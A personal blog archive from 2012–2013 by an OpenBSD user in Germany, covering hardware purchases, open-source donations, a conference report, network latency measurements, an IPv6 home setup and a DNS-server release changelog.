Very satisfied with the new Mac Mini (not bought yet)
October 24th, 2012
Yes, Apple has released a new Mac Mini. It has USB3 and a more powerful
processor. Both I like. It also accepts 16 GB of RAM. That I like and I
want to max my Mac Mini when I get it.
I'm not going to go into details but I can hardly wait in anticipation. I have
told a few people already and some think I'm nuts and others think I'm brave.
Big Donation to OpenBSD
October 28th, 2012
OK, this is the big announcement, it's a bit early but I need to visit my
bank tomorrow so I want to give them the transaction then. Call this the
Halloween donation just in time for the November 1st OpenBSD 5.2 release.
The amount is for a staggering 411 Euros. This brings
this years donations to 511 euros. I don't want anything in return other than the recognition on the
OpenBSD donations page, which I'm already listed on so this doesn't make a change. Take it this way. I use
OpenBSD at work, and without OpenBSD I would have no work, so this is justified
to me. Thanks OpenBSD. Future donations will be more or less depending on my
income.
I put OpenSMTPD on the purpose of the
transaction, because they have been very kind with me, but this money isn't
solely for them but OpenBSD in general.
Halloween Germany 2012
October 31st, 2012
Hooooooooo! Hooooooo! Scary movie! No! It's Halloween in Schweinfurt.
Here is some pictures, including our first trick'o'treaters.
These guys look pretty scary!
OpenBSD 5.2 Release day!
November 1st, 2012
Today OpenBSD 5.2 gets released. Because it is headquartered in Canada the
announce may come a bit later as here in Europe we're a few hours ahead of them.
Here is the release page, it has
all information that you need to download or order OpenBSD 5.2. I personally
have used and bought OpenBSD since the 2.5/2.6 days where my personal OpenBSD
workstation was called geeklab.globalserve.net in 1997. Today OpenBSD is much
more secure than it was back then which is good since OpenBSD focuses on
security (but not just! but also functionality and openness). Why is it
important to be secure, yet functional? Well when you're faced with securing
something often you disable the service completely which is the opposite of
functional. In OpenBSD services are secured by a multitude of attack prevention mechanisms. You may want to look at strlcpy/strlcat which was among the first
changes that OpenBSD did. And then there is W^X (W xor X) and ottomalloc which
are supposed to prevent stack and heap overflow attacks. Before I bore you,
I'll just say "It's celebration day!" and leave you with that. Finally congrats
to the OpenBSD'ers who made it all happen.
Kaspersky Anti-Virus 2012 blocks my captchas
November 4th, 2012
Today I wanted to write a blog comment on my own blog and found that the
captcha images didn't load completely rendering them useless. So after
searching for 2 hours around my system, the net and my parents home
network I was able to isolate the error to my workstation which is
windows 7 - 64 bit. My moms Linux on the same LAN rendered the image fine.
I tested this
on 3 sorts of browsers (Safari, Firefox, and IE) and everytime it was blocked.
So someone asked me to turn firewall off and that didn't do it, and then
I as a test turned web inspection off on the AV 2012 and the image loaded.
So now I've sent Kaspersky a support email to look into this.
The Main river produces 118 MW electricity
November 5th, 2012
I got a list of power generation stations of the Main river from the german
wikipedia, and this is how I got to the result:
$ history
1 more main.txt
2 awk '{print $NF}' main.txt | grep [0-9] | tr -d . \
| awk '{total += $0} END {printf("total: %ld\n", total);}'
END {printf("total: %ld\n", total);}' <
total: 118640
Now this is probably only the peak draw, however judging from the flow of water
through the turbines in Schweinfurt it's pretty steady all the time.
Purchasing a Mac Mini
November 7th, 2012
Tomorrow I'm going to purchase a Apple Mac Mini. It'll be the faster version
with 16 GB (maxed) RAM. On monday when I got a quote from the store I'm buying
it from said they won't get them delivered until next week, so I'll have to wait
a little but the purchase goes out tomorrow.
I'm buying this computer for a new stand-up desk that I'm also going to purchase
so I'm going to eventually buy a new monitor as well.
My C Primer hits 20,000 views
November 10th, 2012
Over night, the counter to my C Primer will turn to 20,000. Thank you to all
who read it. It took a little under a year to do the second 10K.
That's an average of 29 or so per day. Also we're nearing 1 million views on
Hackepedia itself, which is a great feat. I'll make another announcement when
that happens (probably around December 1st).
Citation needed(tm)
November 13th, 2012
Wikipedia is back to fundraising. I won't be donating any money to them this
year because I'm still peeved off that a contribution of mine to wikipedia
has been censored/retracted. There exists some real bureaucracy in wikipedia,
and it needs to change otherwise people will look elsewhere, or even fork.
Why Open Source works (reiterate my point)
November 20th, 2012
I have a success story to tell you, well partially. While someone else is
programming driver support into my netbook's (saturn) internal wifi, I went
out and bought a wireless dongle. To my shock it wasn't supported with
OpenBSD and then I did what any half-clued would do.. that is to see if I
can hack support into it. And it worked.
The Space Program(tm)
November 21st, 2012
So in my eyes Europe has lost out. They cancelled the moon rover and went
ahead with the Ariane 5ME. And the winner is? Commercial US space programs.
It was Elon Musk of Space X that said Ariane 5 can't compete with the Falcon 9
and heavy Falcon rockets. Apparently the world agrees as Space X has 4 dozen
outstanding contracts to deliver satellites to orbit.
In my eyes Mars is interesting but not _that_ interesting. The moon
is the ugly gem. What we need as the human race is manufacturing on the
moon. Only from the moon can we make it beyond earth orbit. Putting up
material from earth is too expensive, so I see the moon is similar to a
VPS on the Internet, if it can sustain itself via remote control then
everything is alright.
One of my personal beliefs is that the moon has plenty of resources that we
can use. We can use the iron, the aluminum and even the stones on the moon.
And best of all we can use the moons gravity. I have a feeling it's just
enough to allow long missions. Imagine being 3 years away from earth! So
far the record isn't even half that. Yes we'll always be dependet on
resources from earth but if lastly the only resource from earth is humans
then we got it made. Space link.
Fibre Optics in Schweinfurt?
November 23rd, 2012
According to this german
article we can expect Fibre Optic cabling (FTTH) to the home by end of 2014.
So 2015 is reasonable. The Deutsche Telekom would be laying all the fibre and
the cost would be around 20 million euros.
This would be good for me since the Internet is my sole means of income. I
do remote system administration currently (a work from home type job).
KNF Kongress 2012 - Complex World...
November 26th, 2012
The KNF which I'm a member of is an
organization centered around networking
and digital communication of Franconia (a region in Germany). Every year
they have a Con and it's called "KNF Kongress" and this years con was about
"Komplexe Welt - in und um das Internet", so in english "complex world - in
and around the Internet". The con is held in Nuremberg at the Ohm College.
Here is how it went down for me:
I got to the venue at 10:25 and it was too late to get to the early talks.
So I set my laptop up with the KNF wireless, which turned out to be pretty
intermittent in quality throughout the day. All the talks were being held
in german so I'm gonna translate it to english on what I saw and heard.
The first talk I went to then was "OpenSeaMap - Status und aktuelle Projekte".
This talk was being held by Markus Baerlocher. I didn't know anything about
OpenSeaMap (google it) prior so this was an interesting talk. The status on
the project was that they need developers and servers (mostly for storage).
Then there was lunch, and pizza. :-)
Next I attended the "mbed - der schnellste Einstieg in Web-basierte Steuerung
und Regelung" by Jochen Krapf. This was an inspiring talk and demonstration
by Jochen but I gotta admit I didn't know C++ or electronics all that well
so there was about 5% of things I didn't grok. Otherwise a very nice talk
about mbed.org which is sorta like arduino.
After that the mbed talk continued with another person Christian Besenreiter
who required a dhcp server. Lastly it was my netbook running OpenBSD which
provided that function. Chris showed us three real live examples of metering
electric current with mbed. In the end Jochen had a few more words which
cut into our coffee break. Both of these talks were very well done and the
highlight of the day.
The last talk I attended was by Richard Lippmann about "Sicherung virtueller
Server Umgebungen" which was a niftily thought-out demonstration how virtual
environments make backups and snapshots. Only in the end I was a little
disappointed because it was over so soon. Richard is a very good presenter.
And finally we had a Jam Session where anyone could go to the beamer and
present a project. This was very well done and I think I'll do this next
time as well. Perhaps I can talk about wildcarddnsd and its development.
By the time I got to the Nuremberg main train station it was 18:20 and
my next train would depart at 19:00. It took a while but I got home at
20:30 and my dad picked me up from the train station in Schweinfurt.
I got a new apartment
December 06th, 2012
I got a new apartment. The old apartment is in the same condition as it was in
August, so nothing had been done. So I cancelled it.
The new apartment has a lot more space, and includes a work room where I can
work in and then close the door at the end of the day. Also it's close to
shopping amenities so I'll probably have a better quality of life. I'm pretty
happy. Despite the setbacks in 2012, this year has been pretty good to me.
Tomorrow we'll reach 1 million views!
December 7th, 2012
We got a million views. Yashy, hawson, whoever else contributed Franks, give yourself a pat on the
back. We did it! But first some history.
I started writing in hackepedia on October 5th, 2005 in the
stdin article.
Soon followed stdout and stderr.
Now it's 7 years 2 months later or 2618 days later. A lot has changed. And
we got 381 views every day since then on average. In the most recent additions
to hackepedia I have been writing the
C Primer which turned out
to be very popular. A lot of demand for learning C is out there.
I plan on furthering the C Primer by translating it to german, we'll see how
I do that, I also want to open the C primer to others edits so that we can get
more examples of code perhaps. All in due time.
This is really a spectacular moment!
2012 - Year in review
December 10th, 2012
Last year I did the review on the 10th of December as well so I'm going to do this years
on the 10th as well. Here is what happened in 2012:
December 11th, 2011 my program Natally is able to do IPv6 by disabling IPv4 NAT.
December 23rd, 2011 I left facebook for good. Thanks Eva for encouraging me!
December 27th, 2011 Donated 10 euros to the Pirate Party of Germany.
December 28th, 2011 Changing ad banners at the top of my blog.
January 1st, 2012 turning off WPS as a vulnerability was found, happy new years!
January 2nd, wikimedia releases stats that 1 million donors contributed
20 dollars on average. Wikipeida gets 470 million visitors a year.
January 6th, new commenting system.
January 9th, setting up iked on OpenBSD (my story).
January 14th, bought some jamaican reggae and some Nukky Grissom off iTunes.
January 15th, FreeBSD 9.0 is released as well as PC-BSD 9.0.
January 18th, Removed the web mirror that was on uranus.centroid.eu (DSL).
January 27th, I describe what my dream smartphone would be like.
January 28th, Wildcarddnsd is fixed on big endian machines particularily the macppc.
February 13th, Information and its exchange and new stickers on Jupiter and Mars.
February 19th, I observed the real Jupiter and Venus very bright in the night sky.
February 28th, donated 100+ Euros to *BSD projects.
February 29th, Free Buju Banton.
March 2nd, got notice that my contract work would not get renewed.
March 14th, pre-ordered OpenBSD.
March 16th, bought an ACER Aspire One netbook and named it Saturn.
March 23rd, checking Randomness on Debian.
March 24th, the Venus glider.
March 30th, Interesting findings about older Airport Express Access Points.
March 31st, pictures of my workbench.
April 4th, SVPRadio One year anniversary.
April 6th, ordered 3 books from Amazon.
April 8th, added a robots.txt file that disallows bots to go into my blog.
April 18th, 26 years of Personal Computing History.
April 19th, Jupiter (computer) gets a new fan.
April 28th, New job, first week.
April 29th, got a new book from Amazon.
April 29th, BOINC processing comeing to an end.
May 1st, OpenBSD 5.1 Released, Jupiter (computer) built with OpenBSD.
May 11th, io.solarscale.de needed a fsck.
May 23rd, what to do about ports (space issue).
May 27th, ordered 4 more books from Amazon.
June 1st, World IPv6 day.
June 2nd, home network fully at OpenBSD 5.1.
June 3rd, Venus transit approaching.
June 30th, China puts its first woman into space.
June 30th, Going to the moon? You'll need this!
June 30th, Fritzbox 7930 NAS too slow!
July 6th, A bit disappointed with dspam.
July 13th, Donated 50 euros to OpenBSD.
August 2nd, Five technologies of the future.
August 4th, Why I don't trust the ITU.
August 5th, Why landing on mars may not be a good idea (for humans).
August 7th, the distance of Mars (planet) today.
August 14th, (My open source projects) left Sourceforge.
August 15th, fire in my building, uranus (computer) is off.
August 17th, 6-8 Weeks (it should take for me to move back into my apartment).
August 25th, a red sky over schweinfurt at dawn.
August 25th, Neil Armstrong dies.
September 3rd, how not to succeed (in trojan programming).
September 4th, registered virgostar.net.
September 8th, Ritesh Agarwal leads development of an optical NAND gate.
September 9th, ordered OpenBSD 5.2 from Lehmanns.de
September 10th, purchased/leased a new VPS in Hong Kong.
September 21st, Privacy: they know who you are anyways.
September 30th, Purchased online-backup storage (strato hidrive).
October 1st, Bad cryptography: a one time pad.
October 5th, My top 8 genres in my iTunes collection.
October 13th, Seti@home has failed.
October 17th, two algorithms for rate-limiting.
October 18th, a planet around alpha centauri-B.
October 19th, NetBSD 6.0 was released yesterday.
October 24th, I want to buy a mac mini.
October 28th, Big donation to OpenBSD.
October 31st, Halloween in Schweinfurt.
November 1st, OpenBSD 5.2 is released.
November 5th, The Main river produces 118 MW of electricity in total.
November 7th, tomorrow I'm purchasing a new Mac Mini.
November 10th, My C Primer hits 20,000 views.
November 20th, Why Open Source works.
November 21st, The european space program.
November 23rd, Fibre Optics in Schweinfurt?
November 26th, KNF Kongress 2012 - Complex World...
December 6th, I got a new apartment.
December 9th, 1 million views at Hackepedia.org.
Purchased two books
December 13th, 2012
I purchased two books on iPhone programming. Now that I have the mac mini I'm
able to program in that area with xcode. The simulator will allow me decent
results, but eventually I'm wanting to buy an ipod touch for IOS programming.
That's where my spare time in 2013 will likely go to.
Decided to expire goldflipper.net
December 14th, 2012
Less is more. And I got to trim the fat a little on domain ownership. So what
I've done is take out goldflipper.net out of dns server entries for all my domains and
replaced it with americas.centroid.eu. I also asked my vps provider in panama
to rename the vps from goldflipper.net to americas.centroid.eu, and adjust
reverse dns.
Registered AmDeutschhof.de
December 18th, 2012
After deciding to expire goldflipper.net, I registered amdeutschhof.de as that is
the street I'm living on in a part of Schweinfurt called Deutschhof. I intend to
give neighbours an email redirect service with this, although I'm unsure how
popular it would be.
December solstice in three days
December 18th, 2012
The december solstice is in
three days. Interesting I find that wikipedia calls this also the "southern
solstice". Have fun with this info. What does it really say? It means that
at high noon on the 21st the sun is at its lowest point in the sky (due to the
earths tilt). It also means the shortest day of the year, but it also means
that going forward after this days will increase in length again (at least until
the next June solstice). If the 21st is the end of the world will have to be
seen, but I personally have my doubts. :-).
Planets aligned on the 21st?
December 18th, 2012
I'd say no. Take a look what xephem showed, edited with gimp.
My Spaceship
December 22nd, 2012
When I was a boy of around 12 years old, I would draw space ships. One favourite
of mine was redrawing the run-about of STNG. This is roughly what it looked like
as I drew it.
Notice it had some sort of propulsion that glows, at the back and at the bottom
of the ship. Yes it may be an array of ion propulsion who knows..it had a nearly
endless supply of energy to transport people between stars in sub-lightspeed
speeds. Perhaps at an 8th of a lightyear-year.
Merry Christmas!
December 24th, 2012
Merry Christmas, the 7 angels sing! Dr. Nic came on the sixth, and brought
presents with him! Or something like that... Merry Christmas!
Frankfurt-Helsinki in 6 hours by rail?
December 28th, 2012
China reportedly has a train that covers 2300 kilometers in 8 hours between
Beijing and Guangzhou. I'm sort of jealous of that. I wish europe would have
similar efforts. For starters between Helsinki and Frankfurt (through the not
yet built Helsinki-Tallin(?) tunnel) with a stop in Warsaw, Poland. That would
rock and has a distance of around 1800 kilometers. If we can put ICE trains
to use they could skoot through the east-baltic regions like darts.
Of course going down Frankfurt to Gibraltar would be cool too. However I'm sure
the Polish, Estonians, Latvians and Lithuanians would probably be more willing
to have an ICE train roll through their countries than France having anything
other than a TGV roll through theirs.
Looking for love in all the wrong places
December 28th, 2012
I just signed up for a love-matchmaker again. It's the same story, you gotta
pay to read messages from others, so it's really worthless. I'd pay but the
contract automatically renews itself unless I FAX them to stop doing so. I
hate doing that. I want to pay for a limited amount of time to unlock all
features and not have to worry that something is eating on my savings after.
Anyone know any good matchmakers? That do what I want?
Happy New Year 2013
December 31st, 2012
This may just be the last post of 2012 and the first post of 2013 worldwide.
Happy New Year! Thanks for stopping by my blog. When I'm fully moved in to
my new apartment and everything is connected I'll have a backlog of releasing
to do for wildcarddnsd and perhaps natally, and fire irc (these are programs I
develop).
Got a new monitor
January 7th, 2013
Because I'm building a stand-up station for my work I needed another monitor.
I got it today, a 27" monitor. It's an ACER the same as my Netbook. I also
got a new office chair because the old one was uncleanable after the fire.
How a base on Phobos could look like
January 7th, 2013
In this article, I let you know a little how a trip to Mars could look like. See this picture
which is a moon-base on the moon
Phobos that orbits
Mars where a tracked centrifuge
module exists that spins and creates artificial gravity (sideways) for the astronauts. There
is many rockets for the habitat, gravity centrifuge and rocket home as well as
sat uplinks and dishes for the communications back to earth.
Just a bit out of my imagination trunk...
Got a new book on WLAN's
January 10th, 2013
In fact it's my first book that describes wireless LANS and it's protocols.
It seems to be a good book at first glance. The books name is "Wireless
LANs" by Jörg Rech and is written in german.
Fibre Optics in the Canadian North
January 11th, 2013
These days the winter is pretty mild in Germany. But pretend you live in
Nunavut, Canada. It must be freezing, it's the Arctic. I have a friend
who lives there. I believe his Internet he gets through a satellite uplink,
which is pretty cool. But imagine this
arcticfibre.com, this would really fix their Internet up there. And it
would fix mine as well. Look at this route from Germany to my VPS in Hong
Kong:
4 f-ed6-i.F.DE.NET.DTAG.DE (62.154.15.2) 55.820 ms 53.301 ms 59.920 ms
5 ffm-b12-link.telia.net (213.248.103.169) 51.417 ms 51.289 ms ffm-b12-link.
telia.net (213.248.79.201) 50.974 ms
6 ffm-bb2-link.telia.net (213.155.132.210) 52.657 ms ffm-bb1-link.telia.net (
213.155.135.8) 137.400 ms ffm-bb1-link.telia.net (213.155.132.208) 56.959 ms
7 nyk-bb2-link.telia.net (213.155.135.63) 143.458 ms 216.887 ms nyk-bb2-link
.telia.net (213.155.131.151) 146.343 ms
8 sjo-bb1-link.telia.net (80.91.245.96) 221.688 ms sjo-bb1-link.telia.net (80
.91.254.177) 215.269 ms 216.198 ms
9 hnk-b2-link.telia.net (213.155.132.190) 331.143 ms 329.440 ms 329.417 ms
10 hostvirtual-ic-300085-hnk-b2.c.telia.net (213.248.66.102) 331.984 ms 333.2
87 ms 333.618 ms
11 moon-a.virgostar.net (103.6.85.219) 379.59 ms 378.726 ms 377.172 ms
Now if this route isn't faked it goes through the following cities:
frankfurt (ffm) in hop 6
New York (nyk) in hop 7 (100 ms latency added)
San Jose, California (sjo) in hop 8 (70 ms latency added)
Hong Kong (hnk) in hop 9 (115 ms latency added)
Now they say the distance between London and Tokyo in arctic fibre is gonna
be 15600 kilometers. As light travels through fibre optic wikipedia says
that the speed of light
through optical fibre is roughly 200,000 kilometers per second, so it would
take 78 ms so then we do a couple of soundings, from my house to London:
$ ping www.linx.net
PING ivory.linx.net (195.66.232.53): 56 data bytes
64 bytes from 195.66.232.53: icmp_seq=0 ttl=58 time=70.111 ms
c64 bytes from 195.66.232.53: icmp_seq=1 ttl=58 time=64.192 ms
c64 bytes from 195.66.232.53: icmp_seq=2 ttl=58 time=65.072 ms
--- ivory.linx.net ping statistics ---
3 packets transmitted, 3 packets received, 0.0% packet loss
round-trip min/avg/max/std-dev = 64.192/66.458/70.111/2.616 ms
and from my hong kong vps to Tokyo:
PING www.mfeed.ad.jp (210.173.160.18): 56 data bytes
64 bytes from 210.173.160.18: icmp_seq=0 ttl=246 time=58.423 ms
64 bytes from 210.173.160.18: icmp_seq=1 ttl=246 time=58.494 ms
64 bytes from 210.173.160.18: icmp_seq=2 ttl=246 time=58.065 ms
--- www.mfeed.ad.jp ping statistics ---
3 packets transmitted, 3 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 58.065/58.327/58.494/0.188 ms
Add them up and we get 66 + 58 + (2 * 78) = 280 ms. Compare this with the
current 379 ms that I'm getting now, a lot of latency added due to routing
through the continental USA from New York to San Jose. Why I'd rather be
routed through arctic fibre, which is speedy and secure. My friend in
Nunavut would like being on arctic fibre as well and when I emailed him
about this he mentioned that they are watching development of this very
closely. You can find his blog btw linked from this blog called "Higher
Latitudes". I think arctic fibre makes a lot of sense.
Let me explain how the Internet works...
January 19th, 2013
...and how I can work in Canada from Germany.
In order to get Internet to the home we purchase a DSL or Cable link. Sometimes
when we're lucky we can even get a Fibre Optic connection directly to the home.
Pretend we pay 20 euros a month for this. Where does the money go?
The money goes to the ISP who has to purchase routers and switches, and internal
infrastructure and most importantly a link to the outside. There is two types
of links that an ISP can connect to. A peering link is one where the ISP usually pays just the connect fees to a peering hub and any traffic flowing between
peers on that hub is free at cost. The second link is a transit link where
the ISP purchases bandwidth from another ISP. That other ISP then transits the
flow of internet packets to another ISP and an internetwork of networks is
created. Because the ISP requires great bandwidths the transit traffic is
usually pretty cheap.
So pretend you get your email from gmail (google). Google has cleverly situated
themselves so that they are available for peering at major peering points so
when I traceroute to gmail.com I actaully traceroute to munich at INXS (an
exchange point). When I traceroute from my vps the route goes to paris, via
DECIX. My ISP probably pays very little for that mail to be checked, but
google on the other hand has to foot the bill for email servers and the network
from DECIX to Paris. Anyhow this is an example how some services are cheaper
than others. If I were to pop my mail from an ISP in Canada it would follow
a route over transit providers and it's a bit more than just going over peering
points.
Yet there isn't all too many teleworkers like me so the ISP's make a profit on
95% of the population and 5% telework and create costs. Fortunately that
includes me. I'm able to use the network here and in Canada because it's all
TCP/IP and part of the Internet. The flat fee works because not everyone has
to cross the atlantic ocean to get their email, web and facebook. However
there is a catch of course. I'm making money in Canada and I have to pay
taxes in Germany from the money made, so I'm importing money into the german
economy. Or said differently I'm exporting services overseas. Again not
many can claim that.
All in all the order of the Internet is pretty fair. Yes fees for the end users
could go down but there'll always be peering points and transit providers to
upkeep this harmony in the 'net. Remember if a transatlantic cable breaks, there has to be ships ready to sail to repair it. This costs money too. Even though you use only european networks you're paying for those ships that wait until
a cable breaks (all indirectly). May not be fair to you but it's fair for
the collective, and when you want to use american services you can without
creating cost on yourself. It works fabulously IMO.
Last year
I had a snapshot of the yearly traffic of Uranus, this years was all screwed
up due to my move to my parents house brought about by the fire in my ex
apartment building.
In August you can see the traffic reversed. That's due to the interface not
facing the DSL anymore but being behind another router.
Date correction
January 20th, 2013
I use a script to provide me with a template, to write my articles. I didn't
upgrade this script on January 1st so the date erroneously still said 2012.
That's fixed now.
Ordered two new books
January 24th, 2013
I have ordered two books, for personal interest:
"Infinite Reality: Avatars, Eternal Life, New Worlds, and the dawn of
the Virtual Revolution" by Jim Blascovich. I was made aware through this
book by visiting Stanford Universities
Virtual Human Interaction Lab website.
"Designing Virtual Reality Systems: The Structured Approach" by
Gerard Kim. This I picked randomly, I hope it's a good book it has a hefty
pricetag.
In another world I was Pi the Druid. This world was called Northern Crossroads
MUDD (a multiple user dungeons and dragons game). This game still exists today
but I grew out of it. If you're interested you can visit it by going to
the MUDD's webpage. I view this game as a
forerunner to virtual reality. It is socket based and based off Diku MUDD which
was created at a Danish University by their CS department. Everything in the
game is ascii based and actions are described by text. I shortly programmed
on my own Diku MUDD and it was a lot of fun, so I'm hoping to pick up with
virtual reality as the next bridging gap.
Yes well. Virtual reality. It interests me a lot. It scares my mom somewhat
as she's worried on mental damage (more of what there is now). But I'm fairly
careful I think and one thing that doesn't interest me is horror or anything
that would put anxiety on a user of VR. I'm more interested in healing and
discovering myself, to explore my own soul from within so to speak and I've
done a bit of thinking about the topic. So far I still lack haptic glove and
Head mounted display but I'm hoping to get something affordable in the next
little while. I have an idea of coupling IOS apps with network communication
and virtual reality, I hope to see it through given time.
This reports a little more out of my imagination and my dreams and hopes.
Neat little vmware fusion trick
January 24th, 2013
I noticed that typing control-left arrow and conrol-right arrow can switch
between main screen and vmware guest. This is fancy and quick. I personally
go from OpenBSD to Mac OS X between work and personal time.
Bought a backup drive
January 26th, 2013
Usually I always buy a backup drive right away. However planning to buy a
new wireless timecapsule didn't work out because I'm still expecting apple
to release an 802.11ac access point. The current models are 802.11n and less.
But since the capsule is only 100 or so euros more than the airport extreme,
I'm gonna go with an extreme instead and plug this new harddrive into it.
I bought a 2TB external harddrive btw. This will be enough to back up my
mac mini with timemachine.
Time Machine backup really slow
January 28th, 2013
My time machine backup is really slow. It's been backing up 1.5 days now across
two nights and only did 38 GB from 282GB to back up. The drive that it's
backing up to I timed with dd command to be writing 121 MB/s (roughly twice of
what USB2 is capable of) so it doesn't seem to be a speed issue. iostat is
bored:
Let's see 2MB/s at peak for one second out of ten and on the computer is 96%
cpu idle. Something is surely wrong.. I suspect it's doing a lot of small
files but even then..
I'm at a loss and googling for solutions isn't working either.
DECENTRALIZED
January 29th, 2013
In Germany the electric grid is becoming more and more decentralized. Solar
and Wind powerplants are being created in every region. Wouldn't it then also
make sense to also decentralize the computers in germany? I read of all these
supercomputer centers, datacenters around regions that serve as Internet hubs
that they are having problems getting guaranteed energy, mostly to cool their
arrays of server racks. What we need is a distribution of high speed Internet
access and put large computers to use at home on a distributed computing effort
in my opinion. These computers don't need as much cooling as centralized
computers in data centers, saving energy.
PS: I'd like to get away from moving fans to cool computers but rather use
LASERS to do that.
So who serves your mail? Perhaps we all need static IP's too, face it
privacy is gone anyhow, with static IP's we can receive our own mail and not
need large datacenters (and the complexity involved).
IRC
January 30th, 2013
I joined IRC in 1994 or earlier. The very first time I used efnet chat network
was when my BBS provider had a door to ircII client or something. There I
first hung out in #linux or #linuxhelp and someone helped me upgrading/compiling
from Linux 1.2.3 to 1.2.13. I left IRC at that and was MUD'ing on ncmud for
a long while but when I noticed a slight addiction I left MUDing. IRC was the
addiction to heal my addiction.
I spent time in the channels #unixhelp, #unix,
#toronto, #germany, #bork, #freebsd, where some more and some less. I was
very taken with the #unix crowd and liked being there but admittedly I was
always a bit careful because of the chance that I get hacked by someone there
(it was a large channel of 100 or so clients). Eventually I left #unix and
went totally offline (from the Internet) when I had a new toy. An iBook with
built in wireless lan. I spent the Summer of 2000 mostly outdoors riding
around wardriving with it.
The wardriving did me no good and I eventually came
back online and this time not to #unix but #unixhelp. There was people from
#unix there so I knew some people. To this day I IRC on efnet and IRCnet on
the channels #unixhelp, #bluenight and #dns. More on this all later.
NAP of the Americas in Miami
January 31st, 2013
The BBC has an article about the NAP of the Americas in Miami, USA.
Here it is.
The NAP is what most routes from Germany go through when I traceroute
my Panamanian VPS. Interesting building, it reminds me a little of 151
Front albeit much larger.
Wire-tapping of the Cloud...
January 31st, 2013
My blog and other data stored on my VPS's can be examined by the NSA through
the american hoster I use. This is cautioned by the BBC. Particularily falls the VPS in Hong Kong
then under jurisdiction of the NSA because I use an American provider based in
Los Angeles. The VPS in Panama is operated by a canadian company and they
probably have similar laws. So my data is wide open to the american
contintent. I do not know what sort of information they would like to gather
though other than web and dns logs. In terms of juicyness my blog doesn't
have very much worth spying over. But I thought the article in the BBC was
intriguing nontheless. I'm not going to pull back my blog over this though.
If I do upgrade Jupiter(computer)...
February 1st, 2013
Then here is a series of chips to consider.
Jupiter is currently an i7-930, but an i7-980 would be nice but is still pricy,
with 3 years warranty however it would give 6 year lifespan of the
3 year old
machine perhaps. I'm watching for the price for the 970/980 to come down.
I'm also considering what tasks I want running on Jupiter. Right now there isn't too much CPU intensive stuff. Also Jupiter never ran over nights. I turn it
off at night and plan on continuing to do so.
This is actually cool!
February 2nd, 2013
Let's start with my computer for cooling. :-) The fact that this was
developed in China is cool too because most computer parts come from there...
Slowly getting ready for move
February 09th, 2013
On the 12th my provider M-Net will activate the DSL link. I've taken the 12th
and 13th off work so that I can hook everything up at home. I'm worried of
not getting back my static IP, which I had for 4 years. I let M-Net know this
but haven't had a reply from them yet. Not getting the static IP will not be
the end of the world, but the end of e-mail, www, shell server and other stuff
at home. I truely hope I get my static IP back though, and will fight for it.
I've moved
February 13th, 2013
Last night was the first night in my new apartment. Everything went well
during the move and I got Internet yesterday at around noon. Here is a
picture of my workbench and new stand-up table. I alternate between the
two due to my lower back problems.
It looks a bit messy because I just dumped all my stuff on the table but I
hope to rearrange things so that I can see the wood on the table.
My new IPv6 setup
February 14th, 2013
Happy Valentines day. I'm spending it alone with IPv6 :-). But I want to
show you what I did and perhaps you have a few hints for me on how to
improve it.
I have a Fritz!Box router (a home consumer router) which costs around
100 euros. I
got mine for free with the new plan with M-Net my provider. M-net provides
IPv6 on a test basis and since I can't get a static IP anymore with them I'm
using it insteads of the IPv6 tunnel I used to have. This is what my network
looks like now:
The fritzbox announces IPv6 through route advertisements and delegates a /62
from the /56 prefix that M-Net provides me with. This /62 is given through
DHCPv6 so I had to install isc-dhcpd from the ports on openbsd to make it
work. However I faced a dillemma how does Uranus on the fritzbox facing
interface know it's IPv6? I wrote a small script to enable it with rtsol
and also the script adds rtadvd for automatic discovery on Jupiter, Mars,
Gaia and Luna. I'm going to show one of these as an example. First to
Uranus though, it's /etc/hostname.em5 interface looks like this:
# more /etc/hostname.em5
dhcp
!/root/update-rtadv.sh
And I've written the /root/update-rtadv.sh script quickly so it may be
buggy, but it works across reboots:
So when I'm on jupiter and I run a continuous ping6 on io.solarscale.de,
it looks like this:
16 bytes from 2a01:4f8:d13:1980::22, icmp_seq=11 hlim=56 time=14.069 ms
16 bytes from 2a01:4f8:d13:1980::22, icmp_seq=12 hlim=56 time=17.013 ms
16 bytes from 2a01:4f8:d13:1980::22, icmp_seq=13 hlim=56 time=15.712 ms
16 bytes from 2a01:4f8:d13:1980::22, icmp_seq=14 hlim=56 time=14.167 ms
16 bytes from 2a01:4f8:d13:1980::22, icmp_seq=95 hlim=56 time=35.225 ms
16 bytes from 2a01:4f8:d13:1980::22, icmp_seq=96 hlim=56 time=14.689 ms
16 bytes from 2a01:4f8:d13:1980::22, icmp_seq=97 hlim=56 time=15.765 ms
16 bytes from 2a01:4f8:d13:1980::22, icmp_seq=98 hlim=56 time=14.213 ms
^C
--- io.solarscale.de ping6 statistics ---
99 packets transmitted, 19 packets received, 80.8% packet loss
round-trip min/avg/max/std-dev = 13.973/16.219/35.225/4.611 ms
As you can see it ping'ed across a reboot and that means that all IP's and
routes were configured correctly. On Mars I have an rtsol setup to get its
IPv6 and it's /etc/hostname.gem0 looks like this:
mars$ more /etc/hostname.gem0
dhcp
rtsol
I had to also enable rtsold in /etc/rc.conf.local and enable route
advertisements per sysctl.conf.
The configured interface gem0 on mars looks like this then:
I still have to set up some sort of dynamic DNS for the IPv6 so that I can
easily reach these hosts from each other since I can't remember their IPv6
address and on Gaia (the mac os x) the IPv6 keeps changing due to privacy
extensions. However for outgoing IPv6 this setup works. Incoming is blocked
at the fritzbox router anyhow and I haven't figured out how to set the
IPv6 firewall rules right yet. I've sent AVM the maker a support email after
consulting with M-Net.
I hope this helps the next person and if you have improvements let me know
in the comments or mail me directly. Thanks.
Reinstated CVSWEB for my programs
February 15th, 2013
I have ported the viewvc to lighttpd configuration and now my programs
code history is viewable again. I will be committing new stuff shortly,
which hopefully will reflect in these.
Feel free to check these out. I'll be rolling a new BETA release for
wildcarddnsd soon.
Wildcarddnsd BETA 7 released
February 17th, 2013
I got all the patches that I had and put them in tweaked it a little
yesterday and tagged the source tree. I made a mistake with the branch
tag but that was easy to fix here is how I did it:
cvs tag -b -r OLDTAG NEWTAG # puts a new tag on the old position
cvs tag -d OLDTAG # removes the old tag
So here are the new things from previous wildcarddnsd release:
Changes in BETA_7 from BETA_6
- remote (sys)-logging feature with HMAC message verification
- change to Berkeley DB 4.6+ on BSD hosts (Linux had it already)
- allow numerous copies of wildcardnsd to pre-fork (-n flag)
- AXFR master code (this allows a bind9 slave to work with wildcarddnsd)
- fix an integer overrun in parse.c which prevented big endian hosts to
make use of ANY replies and AXFR
- SRV RR support
- left sourceforge.net around August 14, 2012
- Mac OS X compiles now, but has not been tested with queries
